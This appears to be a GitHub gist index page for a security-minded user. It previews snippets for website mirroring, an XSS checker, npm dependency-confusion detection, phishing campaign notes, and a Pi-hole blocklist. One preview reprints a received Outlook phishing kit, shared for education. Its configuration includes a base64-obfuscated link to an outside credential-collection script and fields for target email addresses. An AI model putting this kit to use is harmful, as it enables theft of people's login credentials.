Skip to content

Instantly share code, notes, and snippets.

View miglen's full-sized avatar

Miglen Evlogiev miglen

View GitHub Profile
miglen /
Created July 10, 2024 20:57
Clone or mirror website as static with wget
scrapy () {
get \
--mirror \
--no-clobber \
--page-requisites \
--adjust-extension \
--convert-links \
--restrict-file-names=windows \
--domains=$1 \
--no-parent \
miglen / phishing.html
Created November 23, 2022 15:30
Outlook phishing portal attempt via html (educational only, I have received this via email)
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
let EMAIL_ADDRESS = ""; // Change this to the email address
let BASED64_ENCODED_EMAIL = ""; // If you wish to encode the email address, enter the based64 encoded email and leave the email address blank otherwise, leave this field blank
let SCRIPT_LINK_URL = window.atob("aHR0cHM6Ly9tZWdhdGVycmEuaHUvc2NyaXB0LnBocA"); //Enter the script link here
miglen /
Created July 14, 2022 06:07
moj1 phishing kit

This is the contents from a phishing attemt I had recieved recently.


  1. Recieve an attachment.html usually from a free email service.
  2. The email contains html file with encoded JS that would call
  3. Once you open the html file an outlook login portal will be visualized to authenticate.


miglen / Facebook Messenger Phishing Campaign via .md
Last active May 31, 2022 17:02
Facebook Messenger Phishing Campaign via

Today I had recieved an interesting phishing message via Messenger from a frend, who's also a tech guy so it was suprirpising that he got compromised.

The initial message said:

Is it you in this video? 😱

The url loaded from any browser, orther than mobile will redirect to otherwise it would display the following html:

miglen /
Created February 25, 2022 09:53
Simple automated XSS check with selenium
import requests
import time
import urllib.parse
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.common.exceptions import NoAlertPresentException
url = ""
response = requests.get(url)
soup = BeautifulSoup(response.text)
miglen / Esox-Lucius_PiHoleblocklists.txt
Created September 30, 2021 10:13
This file has been truncated, but you can view the full file.
# Source
miglen /
Created September 1, 2021 13:18
Notes from Vulnerability management in package dependencies @ Softuni - 31.08.2021


The following page contains my notes and links about the seminar we had @ Softuni on Vulnerability management in package dependencies at 31st of August 2021.

miglen /
Created February 10, 2021 11:55
Dirty check for non existing public npm dependencies
#!/bin/env python3
# The following script finds all package.json files in the current dir and checks if there are referenced any
# dependencies that no public package is available for, making your application vulnerable to supply-chain attack.
# Simply run ./ in your root repository direcotory.
import json
import requests
from pathlib import Path
import urllib.parse
miglen / aws.opml
Created February 9, 2021 10:06 — forked from benkehoe/aws.opml
AWS RSS feeds
<?xml version="1.0" encoding="UTF-8"?>
<opml version="1.0">
<title>AWS RSS feeds 2019-04-22</title>
<outline text="AWS" title="AWS">
<outline type="rss" text="Infrastructure &amp; Automation" title="Infrastructure &amp; Automation" xmlUrl="" htmlUrl=""/>
<outline type="rss" text="AWS Developer Blog" title="AWS Developer Blog" xmlUrl="" htmlUrl=""/>